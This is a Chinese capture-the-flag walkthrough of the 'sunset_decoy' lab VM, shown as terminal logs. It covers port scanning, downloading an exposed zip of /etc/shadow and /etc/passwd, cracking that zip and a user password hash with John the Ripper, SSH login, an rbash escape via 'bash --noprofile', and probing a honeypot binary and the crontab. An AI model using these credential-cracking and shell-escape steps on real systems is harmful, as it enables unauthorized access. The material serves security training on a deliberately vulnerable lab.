┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.131 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 08:10 EDT Nmap scan report for 192.168.56.131 Host is up (0.00062s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:0E:3C:2A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -sC -O -p22,80 192.168.56.131 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 08:16 EDT Nmap scan report for 192.168.56.131 Host is up (0.00052s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 a9:b5:3e:3b:e3:74:e4:ff:b6:d5:9f:f1:81:e7:a4:4f (RSA) | 256 ce:f3:b3:e7:0e:90:e2:64:ac:8d:87:0f:15:88:aa:5f (ECDSA) |_ 256 66:a9:80:91:f3:d8:4b:0a:69:b0:00:22:9f:3c:4c:5a (ED25519) 80/tcp open http Apache httpd 2.4.38 |_http-server-header: Apache/2.4.38 (Debian) | http-ls: Volume / | SIZE TIME FILENAME | 3.0K 2020-07-07 16:36 save.zip |_ |_http-title: Index of / MAC Address: 08:00:27:0E:3C:2A (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.77 seconds
Debian 操作系统，80 端口下有个压缩文件，下载到本地查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ file save.zip save.zip: Zip archive data, at least v2.0 to extract, compression method=deflate ┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ unzip -l save.zip Archive: save.zip Length Date Time Name --------- ---------- ----- ---- 1807 2020-06-27 18:05 etc/passwd 1111 2020-07-07 16:26 etc/shadow 829 2020-06-27 17:40 etc/group 669 2020-02-02 02:41 etc/sudoers 185 2020-06-27 16:58 etc/hosts 33 2020-06-27 17:39 etc/hostname --------- ------- 4634 6 files
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ zip2john save.zip > ziphash ver 2.0 efh 5455 efh 7875 save.zip/etc/passwd PKZIP Encr: TS_chk, cmplen=668, decmplen=1807, crc=B3ACDAFE ts=90AB cs=90ab type=8 ver 2.0 efh 5455 efh 7875 save.zip/etc/shadow PKZIP Encr: TS_chk, cmplen=434, decmplen=1111, crc=E11EC139 ts=834F cs=834f type=8 ver 2.0 efh 5455 efh 7875 save.zip/etc/group PKZIP Encr: TS_chk, cmplen=460, decmplen=829, crc=A1F81C08 ts=8D07 cs=8d07 type=8 ver 2.0 efh 5455 efh 7875 save.zip/etc/sudoers PKZIP Encr: TS_chk, cmplen=368, decmplen=669, crc=FF05389F ts=1535 cs=1535 type=8 ver 2.0 efh 5455 efh 7875 save.zip/etc/hosts PKZIP Encr: TS_chk, cmplen=140, decmplen=185, crc=DFB905CD ts=8759 cs=8759 type=8 ver 1.0 efh 5455 efh 7875 ** 2b ** save.zip/etc/hostname PKZIP Encr: TS_chk, cmplen=45, decmplen=33, crc=D9C379A9 ts=8CE8 cs=8ce8 type=0 NOTE: It is assumed that all files in each archive have the same password. If that is not the case, the hash may be uncrackable. To avoid this, use option -o to pick a file at a time.
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ ls save.zip ziphash
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt ziphash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status manuel (save.zip) 1g 0:00:00:00 DONE (2023-07-19 08:36) 100.0g/s 819200p/s 819200c/s 819200C/s 123456..whitetiger Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt passwdhash Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status server (296640a3b825115a47b68fc44501c828) 1g 0:00:00:05 DONE (2023-07-19 08:40) 0.1712g/s 2936p/s 2936c/s 2936C/s felton..Hunter Use the "--show" option to display all of the cracked passwords reliably Session completed.
爆破得到了密码 server 。接下来就是 ssh 登录考虑收集内部信息和提权了
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ ssh 296640a3b825115a47b68fc44501c828@192.168.56.131 296640a3b825115a47b68fc44501c828@192.168.56.131 s password: Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jul 19 08:45:11 2023 from 192.168.56.106 -rbash: dircolors: command not found
又进入了 rbash 中
rbash 绕过
接下来尝试绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls honeypot.decoy honeypot.decoy.cpp id ifconfig lsmkdir ncal SV-502 user.txt 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ whoami -rbash: whoami: command not found 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ id uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828) 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ifconfig -rbash: ifconfig: command not found 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ export$PATH -rbash: export: `PATH:/home/296640a3b825115a47b68fc44501c828/': not a valid identifier
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ export $SHELL -rbash: export: `/bin/rbash': not a valid identifier
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cd -rbash: cd: restricted 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ /bin/sh -rbash: /bin/sh: restricted: cannot specify `/' in command names
可以使用的命令很少，/ 和 cd 命令也被禁止了，也没有明显的可以利用的别的命令和方法，那就在 ssh 登录的时候进行指定
1 2 3 4 5 6
┌──(kali㉿kali)-[~/Downloads/sunset_decoy] └─$ ssh 296640a3b825115a47b68fc44501c828@192.168.56.131 -t "bash --noprofile" 296640a3b825115a47b68fc44501c828@192.168.56.131\'s password: bash: dircolors: command not found 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ whoami bash: whoami: command not found
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ sudo -l sudo: unable to resolve host 60832e9f188106ec5bcc4eb7709ce592: Temporary failure in name resolution
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
[sudo] password for 296640a3b825115a47b68fc44501c828: Sorry, user 296640a3b825115a47b68fc44501c828 may not run sudo on 60832e9f188106ec5bcc4eb7709ce592.
Welcome to the Honey Pot administration manager (HPAM). Please select an option. 1 Date. 2 Calendar. 3 Shutdown. 4 Reboot. 5 Launch an AV Scan. 6 Check /etc/passwd. 7 Leave a note. 8 Check all services status. Option selected: No available option was selected. Ending program. /usr/bin/date /usr/bin/cal Shutdown is currently not available due to not enough privileges. Ending program. Rebooting is currently not available due to not enough privileges. Ending program. /usr/bin/touch /dev/shm/STTY5246 The AV Scan will be launched incd a minute or less. /usr/bin/cat /etc/passwd /usr/bin/vi /tmp/cmFuZG9tc2Zvc2FuZm9kYW52cw== /usr/sbin/service apache2 status
看起来是不同的数字指令会调用不同的程序，对其中提到的命令进行查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -alih /usr/bin/date 132694 -rwxr-xr-x 1 root root 107K Feb 28 2019 /usr/bin/date 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -alih /usr/bin/cal 136534 lrwxrwxrwx 1 root root 4 May 4 2018 /usr/bin/cal -> ncal 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -alih /usr/bin/touch /dev/shm/STTY5246 47043 -rw-r--r-- 1 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 0 Jul 20 04:25 /dev/shm/STTY5246 132714 -rwxr-xr-x 1 root root 95K Feb 28 2019 /usr/bin/touch 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -alih /usr/bin/cat /etc/passwd 158998 -rw-r--r-- 1 root root 1.8K Jun 27 2020 /etc/passwd 132688 -rwxr-xr-x 1 root root 43K Feb 28 2019 /usr/bin/cat 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -alih /usr/bin/vi /tmp/cmFuZG9tc2Zvc2FuZm9kYW52cw== ls: cannot access '/tmp/cmFuZG9tc2Zvc2FuZm9kYW52cw==': No such file or directory 138880 lrwxrwxrwx 1 root root 20 Jun 27 2020 /usr/bin/vi -> /etc/alternatives/vi 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -liah /usr/sbin/service 133198 -rwxr-xr-x 1 root root 9.1K Dec 3 2018 /usr/sbin/service
Welcome to the Honey Pot administration manager (HPAM). Please select an option. 1 Date. 2 Calendar. 3 Shutdown. 4 Reboot. 5 Launch an AV Scan. 6 Check /etc/passwd. 7 Leave a note. 8 Check all services status.
Option selected:5
The AV Scan will be launched in a minute or less. -------------------------------------------------- 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:/tmp$
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ pkexec honeypot.decoy ==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `./honeypot.decoy\' as the super user Authenticating as: root Password: polkit-agent-helper-1: pam_authenticate failed: Authentication failure ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
